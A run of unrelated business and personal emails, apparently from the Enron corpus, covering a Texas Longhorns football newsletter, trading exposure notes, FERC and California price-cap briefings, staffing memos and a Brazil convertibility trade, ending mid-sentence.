excuses. If you notice, Stoops didn't gripe about having to play the Big 12=
=20
title game and possibly ruin his team's national title chances. He didn't=
=20
gripe about the cold weather that everyone said would do in the Sooners in=
=20
Kansas City. He has a tough attitude, and his team has adopted his attitude=
.=20
Brown has a tough attitude, too. And against Oregon in the Holiday Bowl and=
=20
all of next season will be the truest test of Brown's coaching and dealing=
=20
with expectations. Brown said, fairly and accurately, that Texas couldn't b=
e=20
expected to win the national title this year because the Longhorns hadn't=
=20
finished a season in the top 10 since 1983. "How do you jump to No. 1 witho=
ut=20
having first been in the top 10?" Brown said before the season. Does this=
=20
kind of talk trickle into the ears of players? I don't know. Most of the=20
Longhorns before the season (Applewhite and Hampton included) felt like Tex=
as=20
could win the national title. That's one of the biggest reasons Hampton cam=
e=20
back to Texas this season. When UT lost to Stanford, Brown emerged from an=
=20
emotionally blasted locker room and said, "I didn't think this was a nation=
al=20
title team." He went on to say the team was too young. Are these excuses fo=
r=20
his team? If Texas beats Oregon in the Holiday Bowl, the Longhorns will hav=
e=20
their top 10 finish and will once again be ranked in the top 10 heading int=
o=20
next season.=20
=09
=09On defense, the big question mark will be at defensive tackle because Ca=
sey=20
Hampton and Shaun Rogers will be moving on. But Marcus Tubbs, Adam Doiron a=
nd=20
Stevie Lee provide an ample foundation to rebuild at the position. Cory=20
Redding and Kalen Thornton should only get better, and there is a wealth of=
=20
talent in the seven guys behind them. On offense, the big question mark is =
at=20
running back, where Hodges Mitchell is moving on. He's a guy some Texas fan=
s=20
still think is worthless. But let me tell you, he isn't. He's got guts and=
=20
gave everything he had. It may take some time to see another back who can=
=20
catch and run the way he does. UT will have several backs to pick from,=20
including freshman-to-be Cedric Benson. The rest of the team is proven and=
=20
will pick up Bo Scaife at tight end.=20
=09
=09I don't see any excuses for this team next year. National championship t=
alk=20
will be all over this team like sunshine in Bermuda. Here's hoping that Mac=
k=20
Brown doesn't let the nitpickers bog him down. And I include myself in that=
=20
group of nitpickers because reporters are paid to point out all of the fact=
s=20
- positive or negative. Here's to hoping Mack Brown will spend less time=20
getting reports fed to him about negative Internet postings and any possibl=
e=20
negative angles in a newspaper story. Here's to hoping that he'll take on=
=20
critical questions with the ease and charm he shows publicly on a daily=20
basis. Places like Texas, Alabama and Ohio State have fans who are seemingl=
y=20
never satisfied. Until Brown wins a national championship, UT fans will=20
second-guess and doubt and wonder why something else wasn't tried. That cou=
ld=20
continue even if he wins a national title. But that's sports. It's worse no=
w=20
because there is more coverage of sports than ever before with the Internet=
=20
and all-day talk radio. Mack Brown lives under a microscope. Fans think the=
y=20
are as smart as coaches because they manage a fantasy football team. Brown=
=20
just has to shrug off the naysayers and focus on the reasons he loves=20
coaching.=20
=09?
=09
=09
=09 Q: Among UT's current commitments, who do you see as the freshmen most=
=20
likely to see  significant playing time next year?   ??=20
=09
=09 BROWN:  The more I see and hear about Midland Lee running back Cedric=
=20
Benson, the more I think he has the best chance to have an impact next year=
.=20
He appears to have the kind of vision that makes running backs special.=20
=09?
=09
=09
=09 Q: Only two teams had a strength of schedule rating above 3.0 in the BC=
S=20
rankings and all the top five teams had a sub 0.6 rating. Given that UT has=
 a=20
decent chance in the national championship race next year, what - if anythi=
ng=20
- can UT do to help raise its strength of schedule rating? Seems like the=
=20
Longhorns could go undefeated and still be on the outside looking in. =20
=09 ?? Andrew Bowen=20
=09
=09 BROWN:  Well, gauging by how some of the BCS polls had Florida State hi=
gher=20
than Oklahoma, I think it's fair to say that strength of schedule is a=20
concern for Texas next year. I think Texas has to win all its games next=20
season to make sure that it is not in the position of Miami, which beat=20
Florida State but is not in the national championship picture. If Texas goe=
s=20
10-1 next season, the Longhorns could very well not be in control of their=
=20
own destiny. With their schedule, as crazy and inflated-expectation-riddled=
=20
as this sounds, the Longhorns would probably need to win all the games to=
=20
ensure getting a shot at the national championship next season.=20
=09?
=09
=09
=09
=09
=09
=09
=09[IMAGE] Leonard Davis =20
=09
=09Q: Who will be drafted off this team? Any first rounders? Will the draft=
=20
distract the seniors from the bowl game? Will any juniors declare early? Is=
=20
the NFL looking at any underclassmen on the team? =20
=09 ?? Lance, Grand Prairie =20
=09
=09 BROWN:  The obvious draft picks are OT Leonard Davis, DT Casey Hampton =
and=20
DT Shaun Rogers. SS Greg Brown may also get a look from an NFL team after t=
he=20
year he has had. I think Davis is a first-round pick for sure. Hampton and=
=20
Rogers shouldn't fall past the second round,
=09
=09although they could simply because there are a number of top defensive=
=20
lineman in next year's NFL draft. NFL scouts are intrigued by junior Quenti=
n=20
Jammer because of his size and physical play at cornerback. NFL scouts like=
=20
junior De'Andre Lewis' speed and size at linebacker. But UT officials seem=
=20
confident that no underclassmen will jump from this year's team. =20
=09?
=09
=09
=09 Q: Please discuss the coaching staff's approach to bowl games. Did we=
=20
approach the Mississippi State Cotton Bowl with a different philosophy or=
=20
attitude than the Arkansas Cotton Bowl? What is our attitude about Oregon a=
nd=20
the Holiday Bowl? =20
=09?? Keith Heugatter=20
=09
=09 BROWN:  The Cotton Bowl after the 1998 season was the final chapter to =
a=20
storybook season. That team was riding the euphoria of Ricky Williams'=20
Heisman Trophy and felt like it was on top of the world. The team that face=
d=20
Arkansas in last January's Cotton Bowl had lost two straight and then found=
=20
itself back in Dallas, feeling a little unsure about itself against an=20
Arkansas team looking for its first bowl victory since 1985. This season,=
=20
Texas is riding a six-game winning streak, finally got the breakout game it=
=20
was looking for from Chris Simms and really wants to win its bowl game to=
=20
finish in the top 10 for the first time in 17 years. I would be surprised -=
=20
very surprised - if Texas comes out flat and doesn't make a good showing in=
=20
the Holiday Bowl. Even though they don't know much about Oregon, the=20
Longhorns know the Ducks are ranked higher than they are. That's all they=
=20
need to know. If the players can avoid the trouble they ran into before las=
t=20
year's Cotton Bowl (suspensions to two team leaders, Aaron Humphrey and Kwa=
me=20
Cavil, as well as J.J. Kelly and Jamal Joyner), I think Texas will be stron=
g=20
and focused.=20
=09?
=09
=09 Q: Is Leonard Davis up for any major awards this season?=20
=09?? Clark Routier=20
=09
=09 BROWN:  Longhorn OT Leonard Davis is one of three finalists for the Out=
land=20
Trophy. The award will be presented live on Thursday night (8-10 p.m.=20
Central) on the ESPN College Football Awards Show at Disney World. Davis ha=
s=20
been tabbed a first-team All-American by The Football Writers Association,=
=20
Walter Camp Football Foundation and Sporting News.=20
=09?
=09
=09
=09 Q: Can you give us an update on the men's basketball team?=20
=09?? Shirley Lively=20
=09
=09 BROWN:  The men's team is starting to come together and could get a hug=
e=20
boost in the next couple of weeks if senior Darren Kelly can regain his=20
eligibility. The semester ends Dec. 19, but coach Rick Barnes isn't sure wh=
en=20
he'll find out if Kelly has made his grades and regained his academic=20
standing for next semester. One thing is for sure: Barnes believes the 5-1=
=20
Longhorns will only get better with Kelly in the lineup. He said Kelly=20
dominates in practice with his dribble penetration and quickness. He said=
=20
Kelly would help players like junior transfer Maurice Evans. Evans, by the=
=20
way, has continued to look more comfortable in the Longhorns' offense. He w=
as=20
named the Phillips 66 Big 12 Conference Rookie of the Week, the league offi=
ce=20
announced Tuesday. The junior transfer earned the award by averaging 22=20
points per game while hitting 17-of-28 (.607) field goals, including 7-of-1=
3=20
three-pointers, during Texas' two victories over UT-San Antonio (70-51) and=
=20
Southwest Texas State (90-60) last week. The honor is chosen by a panel of=
=20
media observers who cover Big 12 men's basketball. Evans had a season-high =
23=20
points on 8-of-14 shooting (4-of-9 threes) vs. UT-San Antonio, before posti=
ng=20
21 points on 9-of-14 shooting (3-of-6 threes) against Southwest Texas. The=
=20
lone Longhorn to reach double-figure scoring in each of UT's first six=20
contests, he leads the team in scoring (17.3 ppg) and ranks third in=20
rebounding (5.8 rpg) and blocks (five). Texas returns to action when it=20
travels to Tampa, Fla., to face South Florida on Saturday, Dec. 9. Tip-off =
is=20
scheduled for 6 p.m. (Central) at the Sun Dome. The game will be televised=
=20
nationally by ESPN2.=20
=09?
=09
=09
=09 Q: Can you give us an update on the women's basketball team?=20
=09?? Dana Gooden=20
=09
=09 BROWN:  The UT women are 8-1 and off to their best start since the 1989=
-90=20
season. They moved into the top 25 (No. 25) this week and then backed it up=
=20
by traveling to Illinois and pounding the Fighting Illini, 70-54. The Illin=
i=20
were ranked No. 24 last week. UT extends its win streak to six games, marki=
ng=20
the first time since 1996-97 that the Horns have had a six-game win streak.=
=20
The leaders of this year's team are JoRuth Woods of Cedar Hill, Tai Dillard=
=20
of San Antonio, freshman Stacy Stephens of Winnsboro, sophomore Lindsey Rya=
n=20
of Austin Westlake and Tracy Cook of Cedar Hill. UT is also getting help at=
=20
point guard from junior college transfer Kenya Larkin of Duncanville.=20
Freshman forward Annissa Hastings will also be one to watch. UT plays Orego=
n=20
at home on Saturday and then won't have another test until Tennessee comes =
to=20
town on Dec. 22.=20
=09
=09
=09
=09
=09 If you received this newsletter from a friend and would like to subscri=
be,=20
sign up at:   Newsletter Registration=20
=09
=09To find or change your password, modify your account, or unsubscribe fro=
m=20
this newsletter, go to:   Newsletter Registration =20
=09
=09Questions?    Comments?  Suggestions? =20
=09
=09
=09
=09
=09
=09   (c) Copyright 2000 The Dallas Morning News=20
=09=09[IMAGE]=09
=09=09=09
=09=09=09  [IMAGE]
=09=09=09

Rita:

In an effort to handle these matters in an efficient and coordinated manner, we have assigned Geoff Storey as the Enron point person.  I am forwarding your request to him.  Geoff can be reached at 713-853-7058.  Please let me know if I can help in any way.

Thanks
Keith

From: Nagle, Rita [mailto:rita.nagle@gs.com]
Sent: Tuesday, October 30, 2001 3:34 PM
To: Holst, Keith
Subject: FW: enron risk remaining natgas position

CONFIDENTIAL INFORMATION - FOR YOUR USE ONLY

Keith:

This is what I am showing for our open exposure with enron in the western
region.  The positions represent your side...ie: you are net long perm basis
from us.  If you can scan your files to see who we could all wash with to
reduce net exposure, I would appreciate it.
Please give me a buzz in the morning.

Hope all is well with you.

Rita

New York  212-902-0776/London  441-71-774-1021/Singapore
65-889-2171/Calgary  403-233-9293
This material has been prepared specifically for you by the Fixed Income or
J. Aron Trading/Sales Department and is not the product of Fixed Income or
J. Aron Research.  We are not soliciting any action based upon this
material. Opinions expressed are our present opinions only.  The material is
based upon information which we consider reliable, but we do not represent
that it is accurate or complete, and it should not be relied upon as such.
Certain transactions, including those involving futures, options and high
yield securities, give rise to substantial risk and are not suitable for all
investors. We, or persons involved in the preparation or issuance of this
material, may from time to time, have long or short positions in, and buy or
sell, the securities, futures, options or other instruments and investments
identical with or related to those mentioned herein. Goldman Sachs does not
provide accounting, tax or legal advice; such matters should be discussed
with your advisors and or counsel.  In addition, we mutually agree that,
subject to applicable law, you may disclose any and all aspects of this
material that are necessary to support any U.S. federal income tax benefits,
without Goldman Sachs imposing any limitation of any kind.  This material
has been issued by Goldman, Sachs & Co. and has been approved by Goldman
Sachs International, which is regulated by The Securities and Futures
Authority, in connection with its distribution in the United Kingdom and by
Goldman Sachs Canada in connection with its distribution in Canada.  Further
information on any of the securities, futures or options mentioned in this
material may be obtained upon request and for this purpose persons in Italy
should contact Goldman Sachs S.I.M. S.p.A. in Milan, or at its London branch
office at 133 Fleet Street.

From: Nagle, Rita 
Sent: Tuesday, October 30, 2001 4:03 PM
To: Okabayashi, Sai

Sai:

Plse take the spreadsheet below and cut out ELPerm/ELPSan
Juan/Norcan/Malor/Sobcal and put these into a separate spreadsheet.  I need
to send those points to Enron tonight with a disclaimer on the bottom so
that we can work on rolling out of risk.

thanks.
rita

From: Lesin, Alex 
Sent: Tuesday, October 30, 2001 2:35 PM
To: Bachman, Paul; Griffith, Mark; Nagle, Rita; Petry, Herb
Subject: enron risk remaining natgas position

From: Feder, Scott
Sent: Monday, March 04, 2002 11:32 AM
To: 'Towsontwo@aol.com'; Feder, Scott
Cc: lawfeder@msn.com
Subject: No More Rollin' with Nolan

Zero graduation rate is the real cause for outrage  
Posted: Monday March 04, 2002 11:29 AM  
           
Sports Illustrated senior writer Phil Taylor touches on a Hot Button issue each Monday on CNNSI.com. After you read Phil's take, give us yours.  
We saw the two faces of Arkansas basketball coach Nolan Richardson last week. One was the enraged look of a man who felt he had been wronged. The other was the calm visage of a man denying that he had wronged others. Apparently, injustice only angers Richardson, who was bought out of his contract last week, when he sees himself as the victim of it, not when he's the perpetrator of it.  
By now you've probably seen the footage of Richardson's rambling tirade during a press conference in which he, among other things, complained that the media is prejudiced against him because he's African-American, and declared that he was the best thing the university had going for it. "You can run that on every TV station in the country," he said when he was finished. Richardson was paranoid and pompous at the same time, a despot unraveling before our very eyes. The validity of his claim -- that he's judged more harshly than white coaches -- is open to debate, although anyone who is his school's highest-paid coach at more than $1 million per year, has a free country club membership and the use of an SUV at no charge, as Richardson did, hardly needs the NAACP to come to his aid.  
But a fact that's not in dispute is that none of the African-American athletes who entered Richardson's program from 1990 to '94 has graduated. Not a single one. That staggering truth was brought to light by last week's installment of ESPN's Outside the Lines. According to the program, Arkansas was one of 36 Division I schools with a zero percent graduation rate for African-American players during that span (which is an educational disgrace, but that's a topic for another time), but none of the other 35 had an African-American coach who was casting himself as the victim of racism at the same time.  
It was striking to see how calmly Richardson defended himself against that damning statistic on OTL, compared to the fury with which he railed against the supposed racists who have had the nerve to criticize his coaching and recruiting. His voice was even and measured as he explained that one of the main reasons his players left without diplomas is that so many of them come to school for the sole purpose of (gasp!) improving their basketball skills. Richardson made it sound as if he were the victim yet again, that kids were using his basketball program for their own selfish purposes when he thought they were just as interested in chemistry lab.  
This is hypocrisy at its most blatant. Even if everything Richardson accuses the white media of is true, nothing they have done to him has been as damaging as what his program has done to the young African-American men who have come through it. Don't tell me that he's just a basketball coach, that he can't walk every one of his kids to every one of their classes. Coaches make sure every rep their players do in the weight room is documented. They know when their backup power forward's body fat rises or falls a percentage point. They can pay just as close attention to their players' academic progress, and they can recruit only those players they think have a fighting chance to get a diploma. The coaches who really care do exactly that.  
If African-American athletes and their families can't depend on coaches of the same skin color to think about the kids as students as well as players, who can they depend on? You would think that with Richardson's obvious mistrust of many whites, he wouldn't have to be asked that question.  
I don't want to hear Nolan Richardson complain about some white columnist who says he doesn't recruit as well as he used to. I want to hear him stand up and say that whatever slights he may or may not have received during his tenure at Arkansas don't amount to a hill of beans; that his program's graduation rate for African-American players is obscene, and that as the man, as the black man, who was in charge of that program, he is ashamed of it and embarrassed by it. If he ever brings himself to utter those words, you can run that on every TV station in the country.  
Sports Illustrated senior writer Phil Taylor writes about a Hot Button issue every Monday on CNNSI.com.  

-----Original Message-----  
From: Towsontwo@aol.com [mailto:Towsontwo@aol.com]  
Sent: Monday, March 04, 2002 10:01 AM  
To: sfeder@czn.com  
Cc: lawfeder@msn.com  
Subject: home again  

Thanks for your answering machine messages yesterday.  We spent an hour on  
the tarmac at SFO for mechnical problems which resulted in missing our Ft.  
Smith flight. Therefore, we did not arrive home until 11 pm. Too late to call.  
Call us at  your leisure tonight.  
Love, MOM  
   
A couple of months ago, we formed a new group within EPSA called the 
Regulatory Affairs, Washington Staff, group (the name needs some help).  We 
discussed many things the group can do to increase our EPSA presence at FERC, 
including establishing monthly lunches featuring a different FERC 
guest/speaker per lunch.

Yesterday, Donna and I attended the first lunch of the group, sponsored by 
Mirant (Enron will be sponsoring the July lunch).  The FERC guest speaker was 
Don Gelinas.  (We believe Don had a big part in the Entergy Source & Sink 
order, so he is an important person to know.)  There were about 12 people at 
the lunch, which was a good number because it gave us all a chance to speak 
with Don and get to know him a little better.  The group was relaxed and 
festive, and I think this put Don at ease as well.

Don made a few remarks at the end of the lunch.  He said the Commission's 
main focus (other than California) was on the RTOs and getting them up and 
running by the end of the year.  He said FERC's main concerns are on:  
1)independence, 2) appropriate incentives, and 3) appropriate scope.  

Don acknowledged that having sufficient scope is a problem with a voluntary 
program, but he believes the Commission, under Hebert's leadership, will be 
able to gradually expand the scope of the RTOs so that ultimately there are 
only a handful of RTOs in the country.  Furthermore, Don said there are 
certain issues he believes must be included in RTO filings, including putting 
native load under the RTO tariff.   However, he says that phase-in may be 
necessary, and the trick will be in finding a reasonable phase-in period.

Other issues that Don said may require actual FERC decisions (FERC calling 
balls and strikes) will be on issues such as ATC, CBM and curtailment.  Don 
said ATC should be calculated the same way by all RTOs and that the question 
of retaining CBM must be decided by FERC.  

Based on these comments, these three areas may be places where we could get 
some FERC support for our views.  We should keep this in mind as we comment 
on future RTO filings.

Let us know if you have any questions or comments.

Sarah and Donna

Do you want to make any changes to Conectiv's credit terms?  Last we spoke 
you had thresholds at 5/10 m,multiples of $250,000,  defaults at 50/100, and 
our gty for 10m, and I am waiting on their guaranty.

Yes, I'll be in at about 2 PM.

05/14/2001 08:56 AM
To: jkeffer@kslaw.com
cc: Ben Jacoby/HOU/ECT@ECT 
Subject: CA Development

Hi John,

Enron is ok with signing the consents.  After the assignment of the contracts 
out of LLCs, we would like to exercise our put.  Please share this info with 
George.  

I believe Ben will be in town tomorrow (right Ben?) so we can get it signed 
up this week.

Thanks,

Kay

Yes, we still do the steak night thing, but I will be unable to attend this 
evening (dinner with the traders, oh la la!).  You may want to talk to bfree 
and see if he or Economou are planning on an outing.  

So when are we going to have a chance to chat?

Suz

Start Date: 10/5/01; HourAhead hour: 3;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2001100503.txt

Error retrieving HourAhead price data - process continuing...

Group,
We have some changes regarding Enron Canada. 

One...they have hired their own staff to handle the dispatching of the 
Transalta units into and out of the pool.  We will still serve as a back-up 
resource for questions from their new staff.  And some of their new hires 
will be rotating down here to get a better understanding of what we do.  

Two...as a result of having staff, they will be having more of an opportunity 
to purchase transmission across BC to the US.  When this happens we typically 
will have very little time to sell this power (mostly we get called on the 
status of the power at the bottom).  However, please keep in mind that this 
power is typically priced between $10 and $65 a mw.  If you have questions 
regarding purchasing from Enron Canada please ask me.  We have told Canada 
that there is no bid in the Northwest two different times now.  If there is 
no bid for $65 power, lets communicate that to Canada before they spend money 
on transmission.    If you have questions regarding purchasing from Enron 
Canada please ask me.  Please do your best to improve communication and to 
prevent these situations from happening again.
Thank you.
Bill

According to Gary Hanks, we would like to have the gas on the valley line 
anyway
---------------------- Forwarded by Mary Jo Johnson/HOU/ECT on 11/20/2000 
03:26 PM ---------------------------
To: Jill T Zivley/HOU/ECT@ECT
cc: Edward D Gottlob/HOU/ECT@ECT, Lauri A Allen/HOU/ECT@ECT 
Subject: Re: Producer service group?  

I can not believe you are sending emails form Hawaii!!!!  You are crazy.  I 
took care of Camden for the month-
It is now 330 and Hilcorp has not responded.  I spoke with Jerry Bubert 
several times today- emailed Mike LAnnou and left messages, and had him 
paged, and copied Hildebrand (the president).  If we don't hear by 4pm, we 
are supposed to bypass the gas...........

The following summarizes recent price cap events in California.  I think that 
I have most of it right.  If there is anything wrong or missing please let me 
know.  Please don't share the attached spreadsheet with anyone outside of 
Enron.

Regards,
Tim

New Cap Specifics
On 10/26/2000 the ISO Board passed a motion by a vote of 13-10 to implement a 
new price cap methodology.
The new methodology will become effective 11/3/2000 or as soon thereafter as 
can be implemented.  CAISO staff has indicated that it will be difficult to 
achieve that start date.  They have not yet indicated what an achievable date 
might be.
The new price cap methodology will remain in place until:
Comprehensive market changes have been implemented and the market has proven 
to be workably competitive under a variety of load conditions.
Either FERC or the ISO board orders its removal.
Cap prices will be based on the average NYMEX L3D settlement average and the 
following heat rate table:
  Load Level  Heat Rate  4.00 Gas Example Cap
  <25 GW   10,775   $43.10
  25 GW to 30 GW 14,175   $56.70
  30GW to 35 GW  17,225   $68.90
  35GW to 40 GW  27,225   $108.90
  >40 GW   $250/MWh  $250/MWh
Caps will be rounded up to the nearest $5/MWh increment.
Demand bids and demand responsiveness programs are exempt from these caps.
The ISO will post the price caps for each load level at least 48 hours prior 
to the beginning of each calendar month.  Based on the ISO's two day-ahead 
system load forecast, the ISO will post hourly caps at least 24 hours prior 
to the hour of delivery.

FERC Context
FERC has delegated cap authority to the CAISO until 11/15/2000.
The ISO has asserted that they don't need FERC authority since it is a bid 
cap rather than a sales cap.  FERC regulates sales, not purchases, of 
electricity and therefore can regulate sales prices but not purchase prices.
The ISO has filed with FERC for an extension of the price cap authority.  
FERC has to rule on the filing by 11/18/2000.  (Note that this is 3 days 
after their authority expires)
FERC will release its proposed order on 11/1/2000 based on the results of its 
206 investigation of the California wholesale power markets.  We don't know 
what they will find or what they will propose.
The proposed order will have a 30 day comment period, after which FERC will 
likely issue a final order.  FERC will be accepting oral comments on 
11/9/2000 in Washington.  Enron still has to determine who will provide oral 
comments.
Many companies have filed at FERC advocating or opposing a litany of price 
caps, cost based rates, and market redesign recommendations.
It is likely that the price caps approved by the ISO board will go into 
effect.  How long they will remain in effect will depend on whether FERC 
extends the ISO price cap authority and whether the final order stemming from 
the current 206 investigation stipulates a specific price cap policy.

Impact of Price Caps
The attached spreadsheet contains a table of likely maximum monthly prices at 
different gas price levels.  We think that this is the highest that markets 
would clear since it assumes that each hour clears at the cap.  It is hard to 
say whether actual prices would clear significantly lower than the cap 
because we don't know whether sellers will offer below the cap or at the 
cap.  The assumptions behind our analysis are detailed in the bullets below.
Take actual historical loads from 1999 and 2000.   
Calculate implied price cap for each hour using actual historical load, new 
price cap methodology, and a range of gas prices.
Divide historical hours into peak and off-peak buckets.
Calculate average price for each month for peak hours and off-peak hours.  
For example, we have two years worth of data for the months of January 
through September.  Each month has approximately 400 hours.  for January 
through September, we took approximately 800 observations for each month (400 
from each year) and calculated a simple average of all of the individual 
observations.
We created a peak table and an off-peak table.  The table shows the 
calculated implied cap based off of the acutal loads at varying gas prices 
for each month.  This value represents what the month would clear at if each 
hour cleared at the cap (based on historic loads).  While any given hour 
could be above this value, our calculation estimates the likely monthly 
average cap value!
The blue shading indicates what the caps would be given current (10/27/2000 
NYMEX) forward prices.  The yellow shading indicates those forward power 
prices which are in excess of the proposed cap.

In a recent CommodityLogic staff meeting, I took stock of the number of 
people and projects that I have provided from Energy Operations to that 
team.  From conversations that you and I have had, I get the impression that 
perhaps others have led you to believe that my commitment to CommodityLogic 
has been limited.  The truth is that I hand picked key members of the team 
and transferred projects that we were already undertaking in Energy 
Operations to round out the suite of products to be offered through 
CommodityLogic.  I just thought that it might be helpful for you to have the 
facts so that you are fully informed whenever you are involved in 
conversations around CommodityLogic. 

Staffing Contributions
 CommodityLogic Project Manager (NomLogic):  Carrie Slagle, Manager
 CommodityLogic Project Maanger (Integration):  Susan Harrison, Manager
 CommodityLogic Project Manager (ContactLogic)  Mary Solmonson, Senior 
Director
 CommodityLogic Team Member (NomLogic):  Molly Sumrow, Specialist

 User Requirement and Testing Staff:  Energy Operations Gas Schedulers, Power 
Confirmation Team and   Financial Settlements 

Projects Transferred to CommodityLogic

 NomLogic (previously known as Contract Exchange in Energy Operations)
 ContactLogic (global databases in Energy Operations) 

Two of the Project Managers on the team, Carrie Slagle and Susan Harrison, 
were transferred from Energy Operations to CommodityLogic.  Both had worked 
in managerial roles in our natural gas business, reporting to Brent Price.  
Both had been significantly challenged in the first half of 2000 by roles 
where they were charged with managing large teams of people.  But knowing 
both Carrie and Susan well, I viewed them as valuable members of the 
operations team who know a lot about the business.  Both have proven in the 
past to be good project leaders. Therefore, identifying them as project 
managers for CommodityLogic made a lot of sense -- providing gas operations 
experience to the CommodityLogic effort and utilizing their skills most 
appropriately .  Brent Price and I worked together to sell Susan and Carrie 
on the assignment and to transition them to their CommodityLogic roles very 
quickly.  

One of the key team members working under Carrie Slagle on NomLogic was a 
scheduler on our gas team (Molly).  Bob Hall, our opeartions controller over 
natural gas, suggested that a scheduler on the team would be valuable, since 
Carrie and Susan have actually never scheduled gas themselves.  NomLogic was 
already a project that was underway in Energy Operations.  We started the 
project shortly after the tremendous ramp up in natural gas volumes due to 
EOL transactions.  We called the project Contract Exchange, and Bob Superty, 
who is the daily manager over gas logistics, was the project sponsor.  Tom 
looped in our Contract Exchange project into CommodityLogic and subsequently 
renamed it NomLogic.  Molly had been a member of the Contract Exchange 
project team, and we transfered her along with the project to 
CommodityLogic.  

Many of my key employees in gas scheduling, confirmations and settlements 
work very closely with the various CommodityLogic project managers.  It is 
input from my group that has created the modules by defining user 
requirements and they have served as the testing teams as well.   

In the fall, I assigned Mary Solmonson to focus full time on CommodityLogic.  
I recognized that we needed more senior level involvement and I viewed Mary's 
participation as a good way to leverage my time.  Previously, she was a 
senior director managing our Global Databases group.  With an IT development 
background and a very thorough knowledge of our operations business, Mary was 
the perfect candidate out of my direct report team to focus on 
CommodityLogic.  Unfortunately, her recent health problems will curtail her 
involvement going forward.  During the five months that she was assigned to 
CommodityLogic, Mary developed a plan for ContactLogic that Tom feels is 
excellent and notes that it is an important complement to the other modules.  

Early in the project, I had also selected two very key and knowledgeable 
operations professionals to be part of the  CommodityLogic team - Leslie 
Reeves, who played a significant role in building Enron's power business from 
day one, and Todd Hall, with experience in natural gas and emerging 
products.  They were part of the  CommodityLogic team in the early days, and 
both made personal decisions to exit the team and return to managing mid and 
back office operations.   Susan Harrison and Carrie Slagle were their 
replacements on CommodityLogic.    

The EWS Final PRC meeting will be held on July 10 at the St. Regis Hotel, 
Colonnade Room from 8:00 am until 4:00 pm.  Following the PRC meeting, we 
will have a social hour in the room adjacent to the Colonnade Room, from 
4:00-6:00pm.

The purpose of the meeting is to review each of the following EWS business 
units' distribution curves,  review promotion nominations to Director and Sr. 
Director, and  finalize the preranking of Vice Presidents in preparation for 
the final Enron-wide PRC meeting on July 23.  Representatives from the 
Enron-wide PRC Committee will attend this part of the meeting as observers.

The business units included in the meeting are:

Enron Global Markets
Enron Industrial Markets
Enron Networks
Enron Global Assets and Services
Enron Engineering and Operational Services

Attached is a complete agenda for the meeting.  

Should you have any questions, please don't hesitate to contact me at X36628.

Sheila

great job with uc-csu.  thanks.

From:	Jeff Dasovich/ENRON@enronXgate on 11/07/2001 12:49 PM
To:	James D Steffes/ENRON@enronXgate, Susan J Mara/ENRON@enronXgate
cc:	Lamar Frazier/HOU/EES@EES, Jeremy Blachman/ENRON@enronxgate, Mike D Smith/HOU/EES@EES 
Subject:	RE: CA Extenstions/Amendments

Quick adder:  It appears that the utilities took a hard line on the amendment issue in their written comments, which is no surprise.  Utilities position is obviously extreme but it means there's likely to be a signficant fight over the issue.  

From: 	Steffes, James D.  
Sent:	Wednesday, November 07, 2001 12:39 PM
To:	Mara, Susan
Cc:	Dasovich, Jeff; Frazier, Lamar; Blachman, Jeremy; Smith, Mike

After the PHC today, we should have a better feel where the parties are and what the discussions will provide for.  Sue, can you make sure that Jeremy and team have a synopsis and outline of next steps.

Thanks.

From: 	Smith, Mike  
Sent:	Wednesday, November 07, 2001 12:10 PM
Cc:	Dasovich, Jeff; Steffes, James D.; Frazier, Lamar; Blachman, Jeremy

thanks.  this is really important to the restructures we are working on.

From:	Susan J Mara/ENRON@enronXgate on 11/07/2001 12:07 PM
To:	Mike D Smith/HOU/EES@EES, Jeff Dasovich/ENRON@enronXgate, James D Steffes/ENRON@enronXgate
cc:	Lamar Frazier/HOU/EES@EES, Jeremy Blachman/ENRON@enronxgate 

SCE and PG&E have raised these questions.  The questions came up at a meeting with the utilities on Oct 2 and again on OCt 25 -- SCE went so far as to say that in a response filed last week, I believe. The questions arise because, once you have a date cutting off direct access -- what can be allowed thereafter and what can't?  Once DA, always DA? (we say) What consitutes a written DA "contract".  (the utilities ask) You'd think the utilities would have better things to spend their time on.  Actually, SCE most likely benefits (pays off its debts sooner) if it can capture more customers. These are similar to issues Commissioner Wood is investigating and may result in a decision along those lines that goes to the Commission for a vote.  We are opposing as are 95% of the customer groups.  A pre-hearing conf is being held at 2 pm today with Wood's friendly ALJ to talk further about these type of issues.  I will keep you apprised.

Sue

Sent:	Wednesday, November 07, 2001 9:47 AM
To:	Dasovich, Jeff; Mara, Susan; Steffes, James D.
Cc:	Frazier, Lamar; Blachman, Jeremy
Subject:	CA Extenstions/Amendments

I heard that the CPUC and/or the utilities have taken the position that any amendment to a contract after 9/20, like a pricing amendment, is a new contract entered after 9/20 and therefore invalid.  Is this true?  Does this hold any water?

FYI
---------------------- Forwarded by Chris Germany/HOU/ECT on 02/05/2001 04:48 

"CapacityCenter.com" <marketing@capacitycenter.com> on 02/05/2001 05:09:59 PM
To: Energy.Professional@mailman.enron.com
cc:  
Subject: CapacityCenter.com Trial Service

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Should we be entrenched in this type of activity?  I'm not even sure that we 
find out about all of ESA's ideas.  Sara
---------------------- Forwarded by Sara Shackleton/HOU/ECT on 02/01/2000 
11:26 AM ---------------------------
To: Sara Shackleton@ECT
cc:  
Subject: Convertibility/Insurance trade

This is what has been discussed so far.  We looked at this once last year, 
but decided that we were not getting quotes that justified the transaction.  
This time it looks like we would "sort of" cover our exposure by both selling 
and buying and hopefully making money off of the difference.
---------------------- Forwarded by Robert H George/ENRON_DEVELOPMENT on 
02/01/2000 01:53 PM ---------------------------
   
	Enron International
	     Structuring Group
	
	From:  Bruce Harris                           01/31/2000 04:19 PM
	
To: Joe Kishkill/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Cliff 
Shedd/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Robert H 
George/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Lynn 
Aven/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kent 
Castleman/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Bruce Harris/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Martin 
Sacchi/Corp/Enron@ECT 

The trade is the following.   Enron would buy Lender's insurance from the 
insurance market on "to be named later" intercompany loans.  Enron would pay 
a fee each year for this protection.  At the same time, Enron would sell 
convertibility protection via the capital markets' so-called "credit 
derivative" products.  Enron would earn income from selling this protection.  
If there was a convertibility event, the bank would deliver to us Reais and a 
crossborder intercompany loan in Brazil.  Offshore, we would buy the 
